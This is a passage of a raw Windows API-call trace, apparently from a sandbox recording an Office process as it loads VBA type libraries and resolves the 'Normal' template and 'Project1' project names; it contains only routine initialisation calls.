_Value=0x0, _Buffer=0x26546a, _BufferCount=0xc, _Radix=16 | out: _Buffer="0") returned 0x0 [0017.350] wcscpy_s (in: _Destination=0x74771e8, _SizeInWords=0x5f, _Source="*\\G" | out: _Destination="*\\G") returned 0x0 [0017.350] wcscpy_s (in: _Destination=0x74771ee, _SizeInWords=0x5c, _Source="{00020430-0000-0000-C000-000000000046}" | out: _Destination="{00020430-0000-0000-C000-000000000046}") returned 0x0 [0017.350] wcscpy_s (in: _Destination=0x747723a, _SizeInWords=0x36, _Source="#2.0#0#" | out: _Destination="#2.0#0#") returned 0x0 [0017.350] wcscpy_s (in: _Destination=0x7477248, _SizeInWords=0x2f, _Source="C:\\Windows\\system32\\stdole2.tlb" | out: _Destination="C:\\Windows\\system32\\stdole2.tlb") returned 0x0 [0017.351] wcscpy_s (in: _Destination=0x7477288, _SizeInWords=0xf, _Source="OLE Automation" | out: _Destination="OLE Automation") returned 0x0 [0017.351] ITypeLib:LocalReleaseTLibAttr (This=0x72d9dd0) returned 0x0 [0017.351] wcscpy_s (in: _Destination=0x7496948, _SizeInWords=0x5f, _Source="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation" | out: _Destination="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation") returned 0x0 [0017.351] ITypeLib:RemoteGetDocumentation (in: This=0x72d9dd0, index=-1, refPtrFlags=0x265638, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x656c00000001 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x656c00000001) returned 0x0 [0017.351] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="stdole") returned 0x106093 [0017.351] strcpy_s (in: _Dst=0x265450, _DstSize=0x7, _Src="stdole" | out: _Dst="stdole") returned 0x0 [0017.351] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x265450, cbMultiByte=7, lpWideCharStr=0x2652b0, cchWideChar=7 | out: lpWideCharStr="stdole") returned 7 [0017.351] IUnknown:AddRef (This=0x72d9b00) returned 0x3 [0017.351] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="stdole", lHashVal=0x106093, pfName=0x265408, pBstrLibName=0x2652b0 | out: pfName=0x265408*=0, pBstrLibName=0x2652b0) returned 0x0 [0017.351] IUnknown:Release (This=0x72d9b00) returned 0x2 [0017.351] IUnknown:AddRef (This=0x6f64030) returned 0x4 [0017.351] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="stdole", lHashVal=0x106093, pfName=0x265408, pBstrLibName=0x2652b0 | out: pfName=0x265408*=0, pBstrLibName=0x2652b0) returned 0x0 [0017.351] IUnknown:Release (This=0x6f64030) returned 0x3 [0017.351] wcsncpy_s (in: _Destination=0x2652d0, _SizeInWords=0x108, _Source="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation", _MaxCount=0x106 | out: _Destination="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation") returned 0x0 [0017.351] CharLowerBuffW (in: lpsz="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation", cchLength=0x5e | out: lpsz="*\\g{00020430-0000-0000-c000-000000000046}#2.0#0#c:\\windows\\system32\\stdole2.tlb#ole automation") returned 0x5e [0017.351] IMalloc:Alloc (This=0x7fefefb5380, cb=0xbe) returned 0x73f9300 [0017.351] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{00020430-0000-0000-c000-000000000046}#2.0#0#c:\\windows\\system32\\stdole2.tlb#ole automation", cchWideChar=95, lpMultiByteStr=0x73f9300, cbMultiByte=190, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{00020430-0000-0000-c000-000000000046}#2.0#0#c:\\windows\\system32\\stdole2.tlb#ole automation", lpUsedDefaultChar=0x0) returned 95 [0017.351] IMalloc:Free (This=0x7fefefb5380, pv=0x73f9300) [0017.351] _wcsicmp (_String1="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation", _String2="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned -50 [0017.351] wcscpy_s (in: _Destination=0x7496d80, _SizeInWords=0x5f, _Source="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation" | out: _Destination="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation") returned 0x0 [0017.351] wcsncpy_s (in: _Destination=0x265300, _SizeInWords=0x108, _Source="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation", _MaxCount=0x106 | out: _Destination="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation") returned 0x0 [0017.351] CharLowerBuffW (in: lpsz="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation", cchLength=0x5e | out: lpsz="*\\g{00020430-0000-0000-c000-000000000046}#2.0#0#c:\\windows\\system32\\stdole2.tlb#ole automation") returned 0x5e [0017.351] IMalloc:Alloc (This=0x7fefefb5380, cb=0xbe) returned 0x73f9300 [0017.351] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{00020430-0000-0000-c000-000000000046}#2.0#0#c:\\windows\\system32\\stdole2.tlb#ole automation", cchWideChar=95, lpMultiByteStr=0x73f9300, cbMultiByte=190, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{00020430-0000-0000-c000-000000000046}#2.0#0#c:\\windows\\system32\\stdole2.tlb#ole automation", lpUsedDefaultChar=0x0) returned 95 [0017.351] IMalloc:Free (This=0x7fefefb5380, pv=0x73f9300) [0017.351] wcsncpy_s (in: _Destination=0x2652d0, _SizeInWords=0x108, _Source="*\\Z015b6e3d08", _MaxCount=0x106 | out: _Destination="*\\Z015b6e3d08") returned 0x0 [0017.351] CharLowerBuffW (in: lpsz="*\\Z015b6e3d08", cchLength=0xd | out: lpsz="*\\z015b6e3d08") returned 0xd [0017.351] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z015b6e3d08", cchWideChar=14, lpMultiByteStr=0x2651f0, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z015b6e3d08", lpUsedDefaultChar=0x0) returned 14 [0017.351] _wcsicmp (_String1="*\\Z015b6e3d08", _String2="*\\Z015b6e3d08") returned 0 [0017.351] IUnknown:AddRef (This=0x72d9dd0) returned 0x5 [0017.351] IUnknown:QueryInterface (in: This=0x72d9dd0, riid=0x7fef41cd2c8*(Data1=0xcacc1e8a, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x265650 | out: ppvObject=0x265650*=0x0) returned 0x80004002 [0017.351] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="stdole", cchWideChar=7, lpMultiByteStr=0x2655f0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="stdole", lpUsedDefaultChar=0x0) returned 7 [0017.351] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="stdole") returned 0x106093 [0017.351] IUnknown:Release (This=0x72d9dd0) returned 0x4 [0017.352] GetModuleFileNameA (in: hModule=0x7fef3f10000, lpFilename=0x265950, nSize=0x104 | out: lpFilename="C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL" (normalized: "c:\\progra~1\\common~1\\micros~1\\vba\\vba7.1\\vbe7.dll")) returned 0x31 [0017.352] strcat_s (in: _Destination="C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL", _SizeInBytes=0x104, _Source="\\3" | out: _Destination="C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL\\3") returned 0x0 [0017.352] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x265950, cbMultiByte=-1, lpWideCharStr=0x2658d0, cchWideChar=52 | out: lpWideCharStr="C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL\\3") returned 52 [0017.352] LoadTypeLib (in: szFile="C:\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL\\3", pptlib=0x265940*=0x0 | out: pptlib=0x265940*=0x7479450) returned 0x0 [0017.355] ITypeLib:GetTypeInfoOfGuid (in: This=0x7479450, GUID=0x7fef41c6898, ppTInfo=0x265ad0 | out: ppTInfo=0x265ad0*=0x7497b98) returned 0x0 [0017.356] lstrlenA (lpString="VBE") returned 3 [0017.356] lstrlenA (lpString="C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\") returned 37 [0017.356] _msize (_Block=0x1c4d3e0) returned 0x26 [0017.356] lstrlenA (lpString="C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\") returned 37 [0017.356] lstrlenA (lpString="VBE") returned 3 [0017.356] _msize (_Block=0x1c4d410) returned 0x26 [0017.356] lstrlenA (lpString="C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\") returned 37 [0017.356] lstrlenA (lpString="VBE") returned 3 [0017.356] lstrcatA (in: lpString1="C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\", lpString2="VBE" | out: lpString1="C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\VBE") returned="C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\VBE" [0017.356] strcpy_s (in: _Dst=0x1c4f020, _DstSize=0x29, _Src="C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\VBE" | out: _Dst="C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\VBE") returned 0x0 [0017.357] strcpy_s (in: _Dst=0x1c4f020, _DstSize=0x29, _Src="C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\VBE" | out: _Dst="C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\VBE") returned 0x0 [0017.357] strcpy_s (in: _Dst=0x1c4f020, _DstSize=0x29, _Src="C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\VBE" | out: _Dst="C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\VBE") returned 0x0 [0017.357] strcpy_s (in: _Dst=0x1c4f020, _DstSize=0x29, _Src="C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\VBE" | out: _Dst="C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\VBE") returned 0x0 [0017.357] strcpy_s (in: _Dst=0x1c4f020, _DstSize=0x29, _Src="C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\VBE" | out: _Dst="C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\VBE") returned 0x0 [0017.357] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1c4f020, cbMultiByte=-1, lpWideCharStr=0x2657d0, cchWideChar=41 | out: lpWideCharStr="C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\VBE") returned 41 [0017.357] StringFromCLSID (in: rclsid=0x16fddc*(Data1=0x3832d640, Data2=0xcf90, Data3=0x11cf, Data4=([0]=0x8e, [1]=0x43, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0x11, [6]=0x0, [7]=0x5a)), lplpsz=0x265990 | out: lplpsz=0x265990*="{3832D640-CF90-11CF-8E43-00A0C911005A}") returned 0x0 [0017.357] IMalloc:Alloc (This=0x7fefefb5380, cb=0x27) returned 0x7387550 [0017.357] IMalloc:Free (This=0x7fefefb5380, pv=0x73ecf70) [0017.357] lstrcpynA (in: lpString1=0x16fe90, lpString2="Host Extender Info", iMaxLength=256 | out: lpString1="Host Extender Info") returned="Host Extender Info" [0017.357] lstrlenA (lpString="{3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000") returned 53 [0017.358] lstrcpyA (in: lpString1=0x1c4efe0, lpString2="{3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000" | out: lpString1="{3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000") returned="{3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000" [0017.358] GetCurrentThreadId () returned 0x938 [0017.358] GetCurrentThreadId () returned 0x938 [0017.358] GetCursorPos (in: lpPoint=0x265be0 | out: lpPoint=0x265be0*(x=463, y=330)) returned 1 [0017.358] GetCapture () returned 0x0 [0017.358] WindowFromPoint (Point=0x14a000001cf) returned 0x101f4 [0017.358] GetWindowThreadProcessId (in: hWnd=0x101f4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x938 [0017.358] SendMessageA (hWnd=0x101f4, Msg=0x84, wParam=0x0, lParam=0x14a01cf) returned 0x1 [0017.358] SendMessageA (hWnd=0x101f4, Msg=0x20, wParam=0x101f4, lParam=0x2000001) returned 0x1 [0017.358] SysStringByteLen (bstr="牐橯捥ㅴ") returned 0x8 [0017.358] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x737a3b8, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0017.358] SysStringByteLen (bstr="牐橯捥ㅴ") returned 0x8 [0017.358] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x737a3b8, cbMultiByte=9, lpWideCharStr=0x737a028, cchWideChar=9 | out: lpWideCharStr="Project1") returned 9 [0017.358] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x265be0, cbMultiByte=-1, lpWideCharStr=0x16a8b0, cchWideChar=7 | out: lpWideCharStr="Normal") returned 7 [0017.358] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x265be0, cbMultiByte=-1, lpWideCharStr=0x16a8b0, cchWideChar=7 | out: lpWideCharStr="Normal") returned 7 [0017.358] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Normal", cchWideChar=7, lpMultiByteStr=0x265a20, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Normal", lpUsedDefaultChar=0x0) returned 7 [0017.358] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Normal") returned 0x10d8df [0017.358] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x265a20, cbMultiByte=-1, lpWideCharStr=0x2659f0, cchWideChar=7 | out: lpWideCharStr="Normal") returned 7 [0017.358] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x265a20, cbMultiByte=-1, lpWideCharStr=0x2659a0, cchWideChar=7 | out: lpWideCharStr="Normal") returned 7 [0017.359] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Normal", cchWideChar=7, lpMultiByteStr=0x2658e0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Normal", lpUsedDefaultChar=0x0) returned 7 [0017.359] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Normal") returned 0x10d8df [0017.359] SysStringByteLen (bstr="牐橯捥ㅴ") returned 0x8 [0017.359] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x737a3b8, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0017.359] SysStringByteLen (bstr="牐橯捥ㅴ") returned 0x8 [0017.359] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x737a3b8, cbMultiByte=9, lpWideCharStr=0x737a028, cchWideChar=9 | out: lpWideCharStr="Project1") returned 9 [0017.359] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Normal", cchWideChar=7, lpMultiByteStr=0x2658b0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Normal", lpUsedDefaultChar=0x0) returned 7 [0017.359] lstrcmpiA (lpString1="Project1", lpString2="Normal") returned 1 [0017.359] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Normal", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0017.359] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Normal", cchWideChar=-1, lpMultiByteStr=0x265830, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Normal", lpUsedDefaultChar=0x0) returned 7 [0017.359] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Normal") returned 0x10d8df [0017.359] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4102a3e, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0017.359] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4102a3e, cbMultiByte=8, lpWideCharStr=0x737a3b8, cchWideChar=8 | out: lpWideCharStr="Project1") returned 8 [0017.359] GetLocalTime (in: lpSystemTime=0x2656c0 | out: lpSystemTime=0x2656c0*(wYear=0x7e1, wMonth=0x8, wDayOfWeek=0x2, wDay=0x16, wHour=0x1, wMinute=0x22, wSecond=0x0, wMilliseconds=0x170)) [0017.359] wcsncpy_s (in: _Destination=0x2653a0, _SizeInWords=0x108, _Source="*\\Z015b6e3d08", _MaxCount=0x106 | out: _Destination="*\\Z015b6e3d08") returned 0x0 [0017.359] CharLowerBuffW (in: lpsz="*\\Z015b6e3d08", cchLength=0xd | out: lpsz="*\\z015b6e3d08") returned 0xd [0017.359] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z015b6e3d08", cchWideChar=14, lpMultiByteStr=0x2652c0, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z015b6e3d08", lpUsedDefaultChar=0x0) returned 14 [0017.359] _wcsicmp (_String1="*\\Z015b6e3d08", _String2="*\\Z015b6e3d08") returned 0 [0017.359] GetLocalTime (in: lpSystemTime=0x2656c0 | out: lpSystemTime=0x2656c0*(wYear=0x7e1, wMonth=0x8, wDayOfWeek=0x2, wDay=0x16, wHour=0x1, wMinute=0x22, wSecond=0x0, wMilliseconds=0x170)) [0017.359] wcsncpy_s (in: _Destination=0x2653a0, _SizeInWords=0x108, _Source="*\\Z015b6e3d08", _MaxCount=0x106 | out: _Destination="*\\Z015b6e3d08") returned 0x0 [0017.359] CharLowerBuffW (in: lpsz="*\\Z015b6e3d08", cchLength=0xd | out: lpsz="*\\z015b6e3d08") returned 0xd [0017.359] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z015b6e3d08", cchWideChar=14, lpMultiByteStr=0x2652c0, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z015b6e3d08", lpUsedDefaultChar=0x0) returned 14 [0017.359] _wcsicmp (_String1="*\\Z015b6e3d08", _String2="*\\Z015b6e3d08") returned 0 [0017.359] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Normal", cchWideChar=7, lpMultiByteStr=0x265720, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Normal", lpUsedDefaultChar=0x0) returned 7 [0017.359] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Normal") returned 0x10d8df [0017.359] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Normal", cchWideChar=7, lpMultiByteStr=0x265710, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Normal", lpUsedDefaultChar=0x0) returned 7 [0017.359] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Normal", cchWideChar=7, lpMultiByteStr=0x2655e0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Normal", lpUsedDefaultChar=0x0) returned 7 [0017.359] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Normal") returned 0x10d8df [0017.359] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Normal") returned 0x10d8df [0017.359] wcsncpy_s (in: _Destination=0x265430, _SizeInWords=0x108, _Source="*\\Z015b6e3d08", _MaxCount=0x106 | out: _Destination="*\\Z015b6e3d08") returned 0x0 [0017.359] CharLowerBuffW (in: lpsz="*\\Z015b6e3d08", cchLength=0xd | out: lpsz="*\\z015b6e3d08") returned 0xd [0017.359] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z015b6e3d08", cchWideChar=14, lpMultiByteStr=0x265350, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z015b6e3d08", lpUsedDefaultChar=0x0) returned 14 [0017.359] _wcsicmp (_String1="*\\Z015b6e3d08", _String2="*\\Z015b6e3d08") returned 0 [0017.360] strcpy_s (in: _Dst=0x6f2add0, _DstSize=0x7, _Src="Normal" | out: _Dst="Normal") returned 0x0 [0017.360] SysStringByteLen (bstr="潎浲污") returned 0x6 [0017.360] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x737a3b8, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0017.360] SysStringByteLen (bstr="潎浲污") returned 0x6 [0017.360] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x737a3b8, cbMultiByte=7, lpWideCharStr=0x7387468, cchWideChar=7 | out: lpWideCharStr="Normal") returned 7 [0017.360] lstrlenA (lpString="Normal") returned 6 [0017.360] SysStringByteLen (bstr="潎浲污") returned 0x6 [0017.360] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x737a3b8, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0017.360] SysStringByteLen (bstr="潎浲污") returned 0x6 [0017.360] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x737a3b8, cbMultiByte=7, lpWideCharStr=0x7387468, cchWideChar=7 | out: lpWideCharStr="Normal") returned 7 [0017.360] lstrlenA (lpString="Normal") returned 6 [0017.360] lstrcmpiW (lpString1="Normal", lpString2="") returned 1 [0017.361] wcscpy_s (in: _Destination=0x265626, _SizeInWords=0x105, _Source="Normal" | out: _Destination="Normal") returned 0x0 [0017.361] IUnknown:AddRef (This=0x72d9b00) returned 0x3 [0017.361] IUnknown:QueryInterface (in: This=0x72d9b00, riid=0x7fef41c6750*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x2652b0 | out: ppvObject=0x2652b0*=0x0) returned 0x80004002 [0017.361] IUnknown:Release (This=0x72d9b00) returned 0x2 [0017.361] IUnknown:AddRef (This=0x6f64030) returned 0x4 [0017.361] IUnknown:QueryInterface (in: This=0x6f64030, riid=0x7fef41c6750*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x2652b0 | out: ppvObject=0x2652b0*=0x0) returned 0x80004002 [0017.361] IUnknown:Release (This=0x6f64030) returned 0x3 [0017.361] IUnknown:AddRef (This=0x72d9dd0) returned 0x4 [0017.361] IUnknown:QueryInterface (in: This=0x72d9dd0, riid=0x7fef41c6750*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x2652b0 | out: ppvObject=0x2652b0*=0x0) returned 0x80004002 [0017.361] IUnknown:Release (This=0x72d9dd0) returned 0x3 [0017.361] wcsncpy_s (in: _Destination=0x265010, _SizeInWords=0x108, _Source="*\\Z015b6e3d08", _MaxCount=0x106 | out: _Destination="*\\Z015b6e3d08") returned 0x0 [0017.361] CharLowerBuffW (in: lpsz="*\\Z015b6e3d08", cchLength=0xd | out: lpsz="*\\z015b6e3d08") returned 0xd [0017.361] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z015b6e3d08", cchWideChar=14, lpMultiByteStr=0x264f30, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z015b6e3d08", lpUsedDefaultChar=0x0) returned 14 [0017.361] _wcsicmp (_String1="*\\Z015b6e3d08", _String2="*\\Z015b6e3d08") returned 0 [0017.361] wcsncpy_s (in: _Destination=0x265010, _SizeInWords=0x108, _Source="*\\CNormal", _MaxCount=0x106 | out: _Destination="*\\CNormal") returned 0x0 [0017.361] CharLowerBuffW (in: lpsz="*\\CNormal", cchLength=0x9 | out: lpsz="*\\cnormal") returned 0x9 [0017.361] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cnormal", cchWideChar=10, lpMultiByteStr=0x264f30, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cnormal", lpUsedDefaultChar=0x0) returned 10 [0017.362] wcscpy_s (in: _Destination=0x7498a90, _SizeInWords=0xa, _Source="*\\CNormal" | out: _Destination="*\\CNormal") returned 0x0 [0017.362] wcsncpy_s (in: _Destination=0x265010, _SizeInWords=0x108, _Source="*\\Z015b6e3d08", _MaxCount=0x106 | out: _Destination="*\\Z015b6e3d08") returned 0x0 [0017.362] CharLowerBuffW (in: lpsz="*\\Z015b6e3d08", cchLength=0xd | out: lpsz="*\\z015b6e3d08") returned 0xd [0017.362] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z015b6e3d08", cchWideChar=14, lpMultiByteStr=0x264f30, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z015b6e3d08", lpUsedDefaultChar=0x0) returned 14 [0017.362] _wcsicmp (_String1="*\\Z015b6e3d08", _String2="*\\Z015b6e3d08") returned 0 [0017.362] wcsncpy_s (in: _Destination=0x265040, _SizeInWords=0x108, _Source="*\\CNormal", _MaxCount=0x106 | out: _Destination="*\\CNormal") returned 0x0 [0017.362] CharLowerBuffW (in: lpsz="*\\CNormal", cchLength=0x9 | out: lpsz="*\\cnormal") returned 0x9 [0017.362] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cnormal", cchWideChar=10, lpMultiByteStr=0x264f60, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cnormal", lpUsedDefaultChar=0x0) returned 10 [0017.362] wcscpy_s (in: _Destination=0x71e8e90, _SizeInWords=0x108, _Source="*\\CNormal" | out: _Destination="*\\CNormal") returned 0x0 [0017.362] _wfullpath (in: _Buffer=0x2657d0, _Path="Normal", _BufferCount=0x104 | out: _Buffer="C:\\Users\\aDU0VK IWA5kLS\\Desktop\\Normal") returned="C:\\Users\\aDU0VK IWA5kLS\\Desktop\\Normal" [0017.362] lstrcmpiW (lpString1="C:\\Users\\aDU0VK IWA5kLS\\Desktop\\Normal", lpString2="") returned 1 [0017.362] SysStringByteLen (bstr="潎浲污") returned 0x6 [0017.362] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x737a3b8, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0017.362] SysStringByteLen (bstr="潎浲污") returned 0x6 [0017.362] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x737a3b8, cbMultiByte=7, lpWideCharStr=0x7387468, cchWideChar=7 | out: lpWideCharStr="Normal") returned 7 [0017.362] lstrlenA (lpString="Normal") returned 6 [0017.363] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x265b70, cbMultiByte=-1, lpWideCharStr=0x1c4d3e0, cchWideChar=13 | out: lpWideCharStr="ThisDocument") returned 13 [0017.363] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x265b70, cbMultiByte=-1, lpWideCharStr=0x1c4d3e0, cchWideChar=13 | out: lpWideCharStr="ThisDocument") returned 13 [0017.363] WideCharToMultiByte (in: 